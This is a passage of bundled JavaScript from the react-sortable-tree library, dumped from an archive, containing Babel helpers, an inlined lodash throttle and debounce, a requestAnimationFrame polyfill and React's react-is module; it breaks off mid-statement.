SortableTree = function SortableTree(props) { return /*#__PURE__*/React.createElement(DndProvider, { backend: HTML5Backend }, /*#__PURE__*/React.createElement(SortableTreeWithoutDndContext, props)); }; // Export the tree component without the react-dnd DragDropContext, export default SortableTree; export { SortableTreeWithoutDndContext, addNodeUnderParent, changeNodeAtPath, defaultGetNodeKey, defaultSearchMethod, find, getDepth, getDescendantCount, getFlatDataFromTree, getNodeAtPath, getTreeFromFlatData, getVisibleNodeCount, getVisibleNodeInfoAtIndex, insertNode, isDescendant, map, removeNode, removeNodeAtPath, toggleExpandedForAll, walk }; index.cjs.js000064400000505060151677274460007020 0ustar00'use strict'; Object.defineProperty(exports, '__esModule', { value: true }); function _interopDefault (ex) { return (ex && (typeof ex === 'object') && 'default' in ex) ? ex['default'] : ex; } var React = require('react'); var React__default = _interopDefault(React); var PropTypes = _interopDefault(require('prop-types')); var reactDnd = require('react-dnd'); var reactDnd__default = _interopDefault(reactDnd); var isEqual = _interopDefault(require('lodash.isequal')); var reactDndHtml5Backend = require('react-dnd-html5-backend'); var reactVirtualized = require('react-virtualized'); var reactDom = require('react-dom'); function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function (obj) { return typeof obj; }; } else { _typeof = function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } function _extends() { _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; }; return _extends.apply(this, arguments); } function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; } function _objectSpread2(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(Object(source), true).forEach(function (key) { _defineProperty(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(Object(source)).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } function _isNativeReflectConstruct() { if (typeof Reflect === "undefined" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === "function") return true; try { Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {})); return true; } catch (e) { return false; } } function _objectWithoutPropertiesLoose(source, excluded) { if (source == null) return {}; var target = {}; var sourceKeys = Object.keys(source); var key, i; for (i = 0; i < sourceKeys.length; i++) { key = sourceKeys[i]; if (excluded.indexOf(key) >= 0) continue; target[key] = source[key]; } return target; } function _objectWithoutProperties(source, excluded) { if (source == null) return {}; var target = _objectWithoutPropertiesLoose(source, excluded); var key, i; if (Object.getOwnPropertySymbols) { var sourceSymbolKeys = Object.getOwnPropertySymbols(source); for (i = 0; i < sourceSymbolKeys.length; i++) { key = sourceSymbolKeys[i]; if (excluded.indexOf(key) >= 0) continue; if (!Object.prototype.propertyIsEnumerable.call(source, key)) continue; target[key] = source[key]; } } return target; } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _possibleConstructorReturn(self, call) { if (call && (typeof call === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; } function _toConsumableArray(arr) { return _arrayWithoutHoles(arr) || _iterableToArray(arr) || _unsupportedIterableToArray(arr) || _nonIterableSpread(); } function _arrayWithoutHoles(arr) { if (Array.isArray(arr)) return _arrayLikeToArray(arr); } function _iterableToArray(iter) { if (typeof Symbol !== "undefined" && iter[Symbol.iterator] != null || iter["@@iterator"] != null) return Array.from(iter); } function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); } function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) arr2[i] = arr[i]; return arr2; } function _nonIterableSpread() { throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } var commonjsGlobal = typeof globalThis !== 'undefined' ? globalThis : typeof window !== 'undefined' ? window : typeof global !== 'undefined' ? global : typeof self !== 'undefined' ? self : {}; function unwrapExports (x) { return x && x.__esModule && Object.prototype.hasOwnProperty.call(x, 'default') ? x['default'] : x; } function createCommonjsModule(fn, module) { return module = { exports: {} }, fn(module, module.exports), module.exports; } /** * lodash (Custom Build) <https://lodash.com/> * Build: `lodash modularize exports="npm" -o ./` * Copyright jQuery Foundation and other contributors <https://jquery.org/> * Released under MIT license <https://lodash.com/license> * Based on Underscore.js 1.8.3 <http://underscorejs.org/LICENSE> * Copyright Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors */ /** Used as the `TypeError` message for "Functions" methods. */ var FUNC_ERROR_TEXT = 'Expected a function'; /** Used as references for various `Number` constants. */ var NAN = 0 / 0; /** `Object#toString` result references. */ var symbolTag = '[object Symbol]'; /** Used to match leading and trailing whitespace. */ var reTrim = /^\s+|\s+$/g; /** Used to detect bad signed hexadecimal string values. */ var reIsBadHex = /^[-+]0x[0-9a-f]+$/i; /** Used to detect binary string values. */ var reIsBinary = /^0b[01]+$/i; /** Used to detect octal string values. */ var reIsOctal = /^0o[0-7]+$/i; /** Built-in method references without a dependency on `root`. */ var freeParseInt = parseInt; /** Detect free variable `global` from Node.js. */ var freeGlobal = typeof commonjsGlobal == 'object' && commonjsGlobal && commonjsGlobal.Object === Object && commonjsGlobal; /** Detect free variable `self`. */ var freeSelf = typeof self == 'object' && self && self.Object === Object && self; /** Used as a reference to the global object. */ var root = freeGlobal || freeSelf || Function('return this')(); /** Used for built-in method references. */ var objectProto = Object.prototype; /** * Used to resolve the * [`toStringTag`](http://ecma-international.org/ecma-262/7.0/#sec-object.prototype.tostring) * of values. */ var objectToString = objectProto.toString; /* Built-in method references for those with the same name as other `lodash` methods. */ var nativeMax = Math.max, nativeMin = Math.min; /** * Gets the timestamp of the number of milliseconds that have elapsed since * the Unix epoch (1 January 1970 00:00:00 UTC). * * @static * @memberOf _ * @since 2.4.0 * @category Date * @returns {number} Returns the timestamp. * @example * * _.defer(function(stamp) { * console.log(_.now() - stamp); * }, _.now()); * // => Logs the number of milliseconds it took for the deferred invocation. */ var now = function() { return root.Date.now(); }; /** * Creates a debounced function that delays invoking `func` until after `wait` * milliseconds have elapsed since the last time the debounced function was * invoked. The debounced function comes with a `cancel` method to cancel * delayed `func` invocations and a `flush` method to immediately invoke them. * Provide `options` to indicate whether `func` should be invoked on the * leading and/or trailing edge of the `wait` timeout. The `func` is invoked * with the last arguments provided to the debounced function. Subsequent * calls to the debounced function return the result of the last `func` * invocation. * * **Note:** If `leading` and `trailing` options are `true`, `func` is * invoked on the trailing edge of the timeout only if the debounced function * is invoked more than once during the `wait` timeout. * * If `wait` is `0` and `leading` is `false`, `func` invocation is deferred * until to the next tick, similar to `setTimeout` with a timeout of `0`. * * See [David Corbacho's article](https://css-tricks.com/debouncing-throttling-explained-examples/) * for details over the differences between `_.debounce` and `_.throttle`. * * @static * @memberOf _ * @since 0.1.0 * @category Function * @param {Function} func The function to debounce. * @param {number} [wait=0] The number of milliseconds to delay. * @param {Object} [options={}] The options object. * @param {boolean} [options.leading=false] * Specify invoking on the leading edge of the timeout. * @param {number} [options.maxWait] * The maximum time `func` is allowed to be delayed before it's invoked. * @param {boolean} [options.trailing=true] * Specify invoking on the trailing edge of the timeout. * @returns {Function} Returns the new debounced function. * @example * * // Avoid costly calculations while the window size is in flux. * jQuery(window).on('resize', _.debounce(calculateLayout, 150)); * * // Invoke `sendMail` when clicked, debouncing subsequent calls. * jQuery(element).on('click', _.debounce(sendMail, 300, { * 'leading': true, * 'trailing': false * })); * * // Ensure `batchLog` is invoked once after 1 second of debounced calls. * var debounced = _.debounce(batchLog, 250, { 'maxWait': 1000 }); * var source = new EventSource('/stream'); * jQuery(source).on('message', debounced); * * // Cancel the trailing debounced invocation. * jQuery(window).on('popstate', debounced.cancel); */ function debounce(func, wait, options) { var lastArgs, lastThis, maxWait, result, timerId, lastCallTime, lastInvokeTime = 0, leading = false, maxing = false, trailing = true; if (typeof func != 'function') { throw new TypeError(FUNC_ERROR_TEXT); } wait = toNumber(wait) || 0; if (isObject(options)) { leading = !!options.leading; maxing = 'maxWait' in options; maxWait = maxing ? nativeMax(toNumber(options.maxWait) || 0, wait) : maxWait; trailing = 'trailing' in options ? !!options.trailing : trailing; } function invokeFunc(time) { var args = lastArgs, thisArg = lastThis; lastArgs = lastThis = undefined; lastInvokeTime = time; result = func.apply(thisArg, args); return result; } function leadingEdge(time) { // Reset any `maxWait` timer. lastInvokeTime = time; // Start the timer for the trailing edge. timerId = setTimeout(timerExpired, wait); // Invoke the leading edge. return leading ? invokeFunc(time) : result; } function remainingWait(time) { var timeSinceLastCall = time - lastCallTime, timeSinceLastInvoke = time - lastInvokeTime, result = wait - timeSinceLastCall; return maxing ? nativeMin(result, maxWait - timeSinceLastInvoke) : result; } function shouldInvoke(time) { var timeSinceLastCall = time - lastCallTime, timeSinceLastInvoke = time - lastInvokeTime; // Either this is the first call, activity has stopped and we're at the // trailing edge, the system time has gone backwards and we're treating // it as the trailing edge, or we've hit the `maxWait` limit. return (lastCallTime === undefined || (timeSinceLastCall >= wait) || (timeSinceLastCall < 0) || (maxing && timeSinceLastInvoke >= maxWait)); } function timerExpired() { var time = now(); if (shouldInvoke(time)) { return trailingEdge(time); } // Restart the timer. timerId = setTimeout(timerExpired, remainingWait(time)); } function trailingEdge(time) { timerId = undefined; // Only invoke if we have `lastArgs` which means `func` has been // debounced at least once. if (trailing && lastArgs) { return invokeFunc(time); } lastArgs = lastThis = undefined; return result; } function cancel() { if (timerId !== undefined) { clearTimeout(timerId); } lastInvokeTime = 0; lastArgs = lastCallTime = lastThis = timerId = undefined; } function flush() { return timerId === undefined ? result : trailingEdge(now()); } function debounced() { var time = now(), isInvoking = shouldInvoke(time); lastArgs = arguments; lastThis = this; lastCallTime = time; if (isInvoking) { if (timerId === undefined) { return leadingEdge(lastCallTime); } if (maxing) { // Handle invocations in a tight loop. timerId = setTimeout(timerExpired, wait); return invokeFunc(lastCallTime); } } if (timerId === undefined) { timerId = setTimeout(timerExpired, wait); } return result; } debounced.cancel = cancel; debounced.flush = flush; return debounced; } /** * Creates a throttled function that only invokes `func` at most once per * every `wait` milliseconds. The throttled function comes with a `cancel` * method to cancel delayed `func` invocations and a `flush` method to * immediately invoke them. Provide `options` to indicate whether `func` * should be invoked on the leading and/or trailing edge of the `wait` * timeout. The `func` is invoked with the last arguments provided to the * throttled function. Subsequent calls to the throttled function return the * result of the last `func` invocation. * * **Note:** If `leading` and `trailing` options are `true`, `func` is * invoked on the trailing edge of the timeout only if the throttled function * is invoked more than once during the `wait` timeout. * * If `wait` is `0` and `leading` is `false`, `func` invocation is deferred * until to the next tick, similar to `setTimeout` with a timeout of `0`. * * See [David Corbacho's article](https://css-tricks.com/debouncing-throttling-explained-examples/) * for details over the differences between `_.throttle` and `_.debounce`. * * @static * @memberOf _ * @since 0.1.0 * @category Function * @param {Function} func The function to throttle. * @param {number} [wait=0] The number of milliseconds to throttle invocations to. * @param {Object} [options={}] The options object. * @param {boolean} [options.leading=true] * Specify invoking on the leading edge of the timeout. * @param {boolean} [options.trailing=true] * Specify invoking on the trailing edge of the timeout. * @returns {Function} Returns the new throttled function. * @example * * // Avoid excessively updating the position while scrolling. * jQuery(window).on('scroll', _.throttle(updatePosition, 100)); * * // Invoke `renewToken` when the click event is fired, but not more than once every 5 minutes. * var throttled = _.throttle(renewToken, 300000, { 'trailing': false }); * jQuery(element).on('click', throttled); * * // Cancel the trailing throttled invocation. * jQuery(window).on('popstate', throttled.cancel); */ function throttle(func, wait, options) { var leading = true, trailing = true; if (typeof func != 'function') { throw new TypeError(FUNC_ERROR_TEXT); } if (isObject(options)) { leading = 'leading' in options ? !!options.leading : leading; trailing = 'trailing' in options ? !!options.trailing : trailing; } return debounce(func, wait, { 'leading': leading, 'maxWait': wait, 'trailing': trailing }); } /** * Checks if `value` is the * [language type](http://www.ecma-international.org/ecma-262/7.0/#sec-ecmascript-language-types) * of `Object`. (e.g. arrays, functions, objects, regexes, `new Number(0)`, and `new String('')`) * * @static * @memberOf _ * @since 0.1.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is an object, else `false`. * @example * * _.isObject({}); * // => true * * _.isObject([1, 2, 3]); * // => true * * _.isObject(_.noop); * // => true * * _.isObject(null); * // => false */ function isObject(value) { var type = typeof value; return !!value && (type == 'object' || type == 'function'); } /** * Checks if `value` is object-like. A value is object-like if it's not `null` * and has a `typeof` result of "object". * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is object-like, else `false`. * @example * * _.isObjectLike({}); * // => true * * _.isObjectLike([1, 2, 3]); * // => true * * _.isObjectLike(_.noop); * // => false * * _.isObjectLike(null); * // => false */ function isObjectLike(value) { return !!value && typeof value == 'object'; } /** * Checks if `value` is classified as a `Symbol` primitive or object. * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is a symbol, else `false`. * @example * * _.isSymbol(Symbol.iterator); * // => true * * _.isSymbol('abc'); * // => false */ function isSymbol(value) { return typeof value == 'symbol' || (isObjectLike(value) && objectToString.call(value) == symbolTag); } /** * Converts `value` to a number. * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to process. * @returns {number} Returns the number. * @example * * _.toNumber(3.2); * // => 3.2 * * _.toNumber(Number.MIN_VALUE); * // => 5e-324 * * _.toNumber(Infinity); * // => Infinity * * _.toNumber('3.2'); * // => 3.2 */ function toNumber(value) { if (typeof value == 'number') { return value; } if (isSymbol(value)) { return NAN; } if (isObject(value)) { var other = typeof value.valueOf == 'function' ? value.valueOf() : value; value = isObject(other) ? (other + '') : other; } if (typeof value != 'string') { return value === 0 ? value : +value; } value = value.replace(reTrim, ''); var isBinary = reIsBinary.test(value); return (isBinary || reIsOctal.test(value)) ? freeParseInt(value.slice(2), isBinary ? 2 : 8) : (reIsBadHex.test(value) ? NAN : +value); } var lodash_throttle = throttle; var performanceNow = createCommonjsModule(function (module) { // Generated by CoffeeScript 1.12.2 (function() { var getNanoSeconds, hrtime, loadTime, moduleLoadTime, nodeLoadTime, upTime; if ((typeof performance !== "undefined" && performance !== null) && performance.now) { module.exports = function() { return performance.now(); }; } else if ((typeof process !== "undefined" && process !== null) && process.hrtime) { module.exports = function() { return (getNanoSeconds() - nodeLoadTime) / 1e6; }; hrtime = process.hrtime; getNanoSeconds = function() { var hr; hr = hrtime(); return hr[0] * 1e9 + hr[1]; }; moduleLoadTime = getNanoSeconds(); upTime = process.uptime() * 1e9; nodeLoadTime = moduleLoadTime - upTime; } else if (Date.now) { module.exports = function() { return Date.now() - loadTime; }; loadTime = Date.now(); } else { module.exports = function() { return new Date().getTime() - loadTime; }; loadTime = new Date().getTime(); } }).call(commonjsGlobal); }); var root$1 = typeof window === 'undefined' ? commonjsGlobal : window , vendors = ['moz', 'webkit'] , suffix = 'AnimationFrame' , raf = root$1['request' + suffix] , caf = root$1['cancel' + suffix] || root$1['cancelRequest' + suffix]; for(var i = 0; !raf && i < vendors.length; i++) { raf = root$1[vendors[i] + 'Request' + suffix]; caf = root$1[vendors[i] + 'Cancel' + suffix] || root$1[vendors[i] + 'CancelRequest' + suffix]; } // Some versions of FF have rAF but not cAF if(!raf || !caf) { var last = 0 , id = 0 , queue = [] , frameDuration = 1000 / 60; raf = function(callback) { if(queue.length === 0) { var _now = performanceNow() , next = Math.max(0, frameDuration - (_now - last)); last = next + _now; setTimeout(function() { var cp = queue.slice(0); // Clear queue here to prevent // callbacks from appending listeners // to the current frame's queue queue.length = 0; for(var i = 0; i < cp.length; i++) { if(!cp[i].cancelled) { try{ cp[i].callback(last); } catch(e) { setTimeout(function() { throw e }, 0); } } } }, Math.round(next)); } queue.push({ handle: ++id, callback: callback, cancelled: false }); return id }; caf = function(handle) { for(var i = 0; i < queue.length; i++) { if(queue[i].handle === handle) { queue[i].cancelled = true; } } }; } var raf_1 = function(fn) { // Wrap in a new function to prevent // `cancel` potentially being assigned // to the native rAF function return raf.call(root$1, fn) }; var cancel = function() { caf.apply(root$1, arguments); }; var polyfill = function(object) { if (!object) { object = root$1; } object.requestAnimationFrame = raf; object.cancelAnimationFrame = caf; }; raf_1.cancel = cancel; raf_1.polyfill = polyfill; var getDisplayName_1 = createCommonjsModule(function (module, exports) { Object.defineProperty(exports, "__esModule", { value: true }); exports.default = getDisplayName; function getDisplayName(Component) { return Component.displayName || Component.name || (typeof Component === 'string' && Component.length > 0 ? Component : 'Unknown'); } }); unwrapExports(getDisplayName_1); /** @license React v16.13.1 * react-is.production.min.js * * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ var b="function"===typeof Symbol&&Symbol.for,c=b?Symbol.for("react.element"):60103,d=b?Symbol.for("react.portal"):60106,e=b?Symbol.for("react.fragment"):60107,f=b?Symbol.for("react.strict_mode"):60108,g=b?Symbol.for("react.profiler"):60114,h=b?Symbol.for("react.provider"):60109,k=b?Symbol.for("react.context"):60110,l=b?Symbol.for("react.async_mode"):60111,m=b?Symbol.for("react.concurrent_mode"):60111,n=b?Symbol.for("react.forward_ref"):60112,p=b?Symbol.for("react.suspense"):60113,q=b? Symbol.for("react.suspense_list"):60120,r=b?Symbol.for("react.memo"):60115,t=b?Symbol.for("react.lazy"):60116,v=b?Symbol.for("react.block"):60121,w=b?Symbol.for("react.fundamental"):60117,x=b?Symbol.for("react.responder"):60118,y=b?Symbol.for("react.scope"):60119; function z(a){if("object"===typeof a&&null!==a){var u=a.$$typeof;switch(u){case c:switch(a=a.type,a){case l:case m:case e:case g:case f:case p:return a;default:switch(a=a&&a.$$typeof,a){case k:case n:case t:case r:case h:return a;default:return u}}case d:return u}}}function A(a){return z(a)===m}var AsyncMode=l;var ConcurrentMode=m;var ContextConsumer=k;var ContextProvider=h;var Element=c;var ForwardRef=n;var Fragment=e;var Lazy=t;var Memo=r;var Portal=d; var Profiler=g;var StrictMode=f;var Suspense=p;var isAsyncMode=function(a){return A(a)||z(a)===l};var isConcurrentMode=A;var isContextConsumer=function(a){return z(a)===k};var isContextProvider=function(a){return z(a)===h};var isElement=function(a){return "object"===typeof a&&null!==a&&a.$$typeof===c};var isForwardRef=function(a){return z(a)===n};var isFragment=function(a){return z(a)===e};var isLazy=function(a){return z(a)===t}; var isMemo=function(a){return z(a)===r};var isPortal=function(a){return z(a)===d};var isProfiler=function(a){return z(a)===g};var isStrictMode=function(a){return z(a)===f};var isSuspense=function(a){return z(a)===p}; var isValidElementType=function(a){return "string"===typeof a||"function"===typeof a||a===e||a===m||a===g||a===f||a===p||a===q||"object"===typeof a&&null!==a&&(a.$$typeof===t||a.$$typeof===r||a.$$typeof===h||a.$$typeof===k||a.$$typeof===n||a.$$typeof===w||a.$$typeof===x||a.$$typeof===y||a.$$typeof===v)};var typeOf=z; var reactIs_production_min = { AsyncMode: AsyncMode, ConcurrentMode: ConcurrentMode, ContextConsumer: ContextConsumer, ContextProvider: ContextProvider, Element: Element, ForwardRef: ForwardRef, Fragment: Fragment, Lazy: Lazy, Memo: Memo, Portal: Portal, Profiler: Profiler, StrictMode: StrictMode, Suspense: Suspense, isAsyncMode: isAsyncMode, isConcurrentMode: isConcurrentMode, isContextConsumer: isContextConsumer, isContextProvider: isContextProvider, isElement: isElement, isForwardRef: isForwardRef, isFragment: isFragment, isLazy: isLazy, isMemo: isMemo, isPortal: isPortal, isProfiler: isProfiler, isStrictMode: isStrictMode, isSuspense: isSuspense, isValidElementType: isValidElementType, typeOf: typeOf }; var reactIs_development = createCommonjsModule(function (module, exports) { if (process.env.NODE_ENV !== "production") { (function() { // The Symbol used to tag the ReactElement-like types. If there is no native Symbol // nor polyfill, then a plain number is used for performance. var hasSymbol = typeof Symbol === 'function' && Symbol.for; var REACT_ELEMENT_TYPE = hasSymbol ? Symbol.for('react.element') : 0xeac7; var REACT_PORTAL_TYPE = hasSymbol ? Symbol.for('react.portal') : 0xeaca; var REACT_FRAGMENT_TYPE = hasSymbol ? Symbol.for('react.fragment') : 0xeacb; var REACT_STRICT_MODE_TYPE = hasSymbol ? Symbol.for('react.strict_mode') : 0xeacc; var REACT_PROFILER_TYPE = hasSymbol ? Symbol.for('react.profiler') : 0xead2; var REACT_PROVIDER_TYPE = hasSymbol ? Symbol.for('react.provider') : 0xeacd; var REACT_CONTEXT_TYPE = hasSymbol ? Symbol.for('react.context') : 0xeace; // TODO: We don't use AsyncMode or ConcurrentMode anymore. They were temporary // (unstable) APIs that have been removed. Can we remove the symbols? var REACT_ASYNC_MODE_TYPE = hasSymbol ? Symbol.for('react.async_mode') : 0xeacf; var REACT_CONCURRENT_MODE_TYPE = hasSymbol ? Symbol.for('react.concurrent_mode') : 0xeacf; var REACT_FORWARD_REF_TYPE = hasSymbol ? Symbol.for('react.forward_ref') : 0xead0; var REACT_SUSPENSE_TYPE = hasSymbol ? Symbol.for('react.suspense') : 0xead1; var REACT_SUSPENSE_LIST_TYPE = hasSymbol ? Symbol.for('react.suspense_list') : 0xead8; var REACT_MEMO_TYPE = hasSymbol ? Symbol.for('react.memo') : 0xead3; var REACT_LAZY_TYPE = hasSymbol ? Symbol.for('react.lazy') : 0xead4; var REACT_BLOCK_TYPE = hasSymbol ? Symbol.for('react.block') : 0xead9; var REACT_FUNDAMENTAL_TYPE = hasSymbol ? Symbol.for('react.fundamental') : 0xead5; var REACT_RESPONDER_TYPE = hasSymbol ? Symbol.for('react.responder') : 0xead6; var REACT_SCOPE_TYPE = hasSymbol ? Symbol.for('react.scope') : 0xead7; function isValidElementType(type) { return typeof type === 'string' || typeof type === 'function' || // Note: its typeof might be other than 'symbol' or 'number' if it's a polyfill. type === REACT_FRAGMENT_TYPE || type === REACT_CONCURRENT_MODE_TYPE || type === REACT_PROFILER_TYPE || type === REACT_STRICT_MODE_TYPE || type === REACT_SUSPENSE_TYPE || type === REACT_SUSPENSE_LIST_TYPE || typeof type === 'object' && type !== null && (type.$$typeof === REACT_LAZY_TYPE || type.$$typeof === REACT_MEMO_TYPE || type.$$typeof === REACT_PROVIDER_TYPE || type.$$typeof === REACT_CONTEXT_TYPE || type.$$typeof === REACT_FORWARD_REF_TYPE || type.$$typeof === REACT_FUNDAMENTAL_TYPE || type.$$typeof === REACT_RESPONDER_TYPE || type.$$typeof === REACT_SCOPE_TYPE || type.$$typeof === REACT_BLOCK_TYPE); } function typeOf(object) { if (typeof object === 'object' && object !== null) { var $$typeof = object.$$typeof; switch ($$typeof) { case REACT_ELEMENT_TYPE: var type = object.type; switch (type) { case REACT_ASYNC_MODE_TYPE: case REACT_CONCURRENT_MODE_TYPE: case REACT_FRAGMENT_TYPE: case REACT_PROFILER_TYPE: case REACT_STRICT_MODE_TYPE: case REACT_SUSPENSE_TYPE: return type; default: var $$typeofType = type && type.$$typeof; switch ($$typeofType) { case REACT_CONTEXT_TYPE: case REACT_FORWARD_REF_TYPE: case REACT_LAZY_TYPE: case REACT_MEMO_TYPE: case REACT_PROVIDER_TYPE: return $$typeofType; default: return $$typeof; } } case REACT_PORTAL_TYPE: return $$typeof; } } return undefined; } // AsyncMode is deprecated along with isAsyncMode var AsyncMode = REACT_ASYNC_MODE_TYPE; var ConcurrentMode = REACT_CONCURRENT_MODE_TYPE; var ContextConsumer = REACT_CONTEXT_TYPE; var ContextProvider = REACT_PROVIDER_TYPE; var Element = REACT_ELEMENT_TYPE; var ForwardRef = REACT_FORWARD_REF_TYPE; var Fragment = REACT_FRAGMENT_TYPE; var Lazy = REACT_LAZY_TYPE; var Memo = REACT_MEMO_TYPE; var Portal = REACT_PORTAL_TYPE; var Profiler = REACT_PROFILER_TYPE; var StrictMode = REACT_STRICT_MODE_TYPE; var Suspense = REACT_SUSPENSE_TYPE; var hasWarnedAboutDeprecatedIsAsyncMode = false; // AsyncMode should be deprecated function isAsyncMode(object) { { if (!hasWarnedAboutDeprecatedIsAsyncMode) { hasWarnedAboutDeprecatedIsAsyncMode = true; // Using console['warn'] to evade Babel and ESLint console['warn']('The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.'); } } return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE; } function isConcurrentMode(object) { return typeOf(object) === REACT_CONCURRENT_MODE_TYPE; } function isContextConsumer(object) { return typeOf(object) === REACT_CONTEXT_TYPE; } function isContextProvider(object) { return typeOf(object) === REACT_PROVIDER_TYPE; } function isElement(object) { return typeof object === 'object' && object !== null && object.$$typeof === REACT_ELEMENT_TYPE; } function isForwardRef(object) { return typeOf(object) === REACT_FORWARD_REF_TYPE; } function isFragment(object) { return typeOf(object) === REACT_FRAGMENT_TYPE; } function isLazy(object) { return typeOf(object) === REACT_LAZY_TYPE; } function isMemo(object) { return typeOf(object) === REACT_MEMO_TYPE; } function isPortal(object) { return typeOf(object) === REACT_PORTAL_TYPE; } function isProfiler(object) { return typeOf(object) === REACT_PROFILER_TYPE; } function isStrictMode(object) { return typeOf(object) === REACT_STRICT_MODE_TYPE; } function isSuspense(object) { return typeOf(object) === REACT_SUSPENSE_TYPE; } exports.AsyncMode = AsyncMode; exports.ConcurrentMode = ConcurrentMode; exports.ContextConsumer = ContextConsumer; exports.ContextProvider = ContextProvider; exports.Element = Element; exports.ForwardRef = ForwardRef; exports.Fragment = Fragment; exports.Lazy = Lazy; exports.Memo = Memo; exports.Portal = Portal; exports.Profiler = Profiler; exports.StrictMode = StrictMode; exports.Suspense = Suspense; exports.isAsyncMode = isAsyncMode; exports.isConcurrentMode = isConcurrentMode; exports.isContextConsumer = isContextConsumer; exports.isContextProvider = isContextProvider; exports.isElement = isElement; exports.isForwardRef = isForwardRef; exports.isFragment = isFragment; exports.isLazy = isLazy; exports.isMemo = isMemo; exports.isPortal = isPortal; exports.isProfiler = isProfiler; exports.isStrictMode = isStrictMode; exports.isSuspense = isSuspense; exports.isValidElementType = isValidElementType; exports.typeOf = typeOf; })(); } }); var reactIs_development_1 = reactIs_development.AsyncMode; var reactIs_development_2 = reactIs_development.ConcurrentMode; var reactIs_development_3 = reactIs_development.ContextConsumer; var reactIs_development_4 = reactIs_development.ContextProvider; var reactIs_development_5 = reactIs_development.Element; var reactIs_development_6 = reactIs_development.ForwardRef; var reactIs_development_7 = reactIs_development.Fragment; var reactIs_development_8 = reactIs_development.Lazy; var reactIs_development_9 = reactIs_development.Memo; var reactIs_development_10 = reactIs_development.Portal; var reactIs_development_11 = reactIs_development.Profiler; var reactIs_development_12 = reactIs_development.StrictMode; var reactIs_development_13 = reactIs_development.Suspense; var reactIs_development_14 = reactIs_development.isAsyncMode; var reactIs_development_15 = reactIs_development.isConcurrentMode; var reactIs_development_16 = reactIs_development.isContextConsumer; var reactIs_development_17 = reactIs_development.isContextProvider; var reactIs_development_18 = reactIs_development.isElement; var reactIs_development_19 = reactIs_development.isForwardRef; var reactIs_development_20 = reactIs_development.isFragment; var reactIs_development_21 = reactIs_development.isLazy; var reactIs_development_22 = reactIs_development.isMemo; var reactIs_development_23 = reactIs_development.isPortal; var reactIs_development_24 = reactIs_development.isProfiler; var reactIs_development_25 = reactIs_development.isStrictMode; var 